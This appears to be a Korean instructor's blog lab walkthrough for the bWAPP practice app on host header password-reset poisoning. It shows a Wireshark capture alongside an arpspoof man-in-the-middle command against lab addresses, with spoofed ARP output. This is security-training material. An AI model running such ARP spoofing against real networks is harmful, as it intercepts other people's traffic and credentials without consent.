정보보안(구버전)/ bWAPP 2019. 2. 21. 14:01

웹 해킹 bWAPP - 84. A6 - Sensitive Data Exposure - Host Header Attack(Reset Poisoning)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Sensitive Data Exposure

 
 - OWASP Top10 A6 - 민감한 데이터 노출
 - 서버와 클라이언트 간에 평문으로 데이터 전송시 스니핑(MITM) 공격에 의해서 정보가 유출될 수 있다.
 - 그렇기 때문에 SSL(HTTPs) 보안 통신 연결을 이용하여 암호화/인증을 통하여 데이터를 보호해야 한다.
 - 또한, 데이터 처리와 암호화 저장이 클라이언트에서 진행되면 공격자가 클라이언트 제어권을 획득하여 정보가 유출될

   수 있으니, 서버에서 진행하는 것을 권장한다.

 

 

 

2. Host Header Attack(Reset Poisoning)

 

 - Host Header를 변조하면 이메일을 이용한 패스워드 재설정에 취약점이 발생한다.  

 

 

 

3. Sensitive Data Exposure - Host Header Attack(Reset Poisoning)

 

 - 이 시나리오는 이메일을 이용하여 패스워드를 재설정하는 환경의 Host Header 취약점을 알아보는 내용이다.

 - 그러나 패스워드 재설정 관련 이메일이 실제 계정 이메일로 전송되지 않기 때문에 테스트가 불가능하다.

 

  

Ex1) Sensitive Data Exposure - Host Header Attack(Reset Poisoning) 이해

 

 - 로컬 PC 브라우저를 이용하여 bWAPP 접속 실시

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

와이어샤크 실행

root@kali:~# wireshark &
[1] 14211 


 

 

ARP 스푸핑 실시

root@kali:~# arpspoof -i eth1 -t 192.168.20.205 -r 192.168.20.1


0:c:29:54:f2:fb 0:c:29:5b:24:81 0806 42: arp reply 192.168.20.1 is-at 0:c:29:54:f2:fb
0:c:29:54:f2:fb 0:50:56:c0:0:1 0806 42: arp reply 192.168.20.205 is-at 0:c:29:54:f2:fb
0:c:29:54:f2:fb 0:c:29:5b:24:81 0806 42: arp reply 192.168.20.1 is-at 0:c:29:54:f2:fb
0:c:29:54:f2:fb 0:50:56:c0:0:1 0806 42: arp reply 192.168.20.205 is-at 0:c:29:54:f2:fb
0:c:29:54:f2:fb 0:c:29:5b:24:81 0806 42: arp reply 192.168.20.1 is-at 0:c:29:54:f2:fb
0:c:29:54:f2:fb 0:50:56:c0:0:1 0806 42: arp reply 192.168.20.205 is-at 0:c:29:54:f2:fb
~ 중간 생략 ~

 

 

 

 

bWAPP 신규 계정 생성 -> 신규 계정 이메일 주소 입력 -> 'Reset' 버튼 클릭

 

 

 

reset code가 전송됬다는 메세지 확인

(bWAPP에서 본인 계정 이메일로 이메일을 안보내기 때문에 취약점 확인 불가능)

 

 

 

와이어샤크 캡처 내용 확인

 

 

 

와이어샤크 캡처 내용 확인

(캡처 내용을 보면 '195.130.132.10' IP 주소는 벨기에 주소이다.)


 

 

ARP 스푸핑 중지

0:c:29:54:f2:fb 0:c:29:5b:24:81 0806 42: arp reply 192.168.20.1 is-at 0:c:29:54:f2:fb
0:c:29:54:f2:fb 0:50:56:c0:0:1 0806 42: arp reply 192.168.20.205 is-at 0:c:29:54:f2:fb
(Ctrl+C)

 

root@kali:~#

 


 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 84. A6 - bWAPP Sensitive Data Exposure - Host Header Attack(Reset Poisoning)  https://youtu.be/4wkgoNynsCo 

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q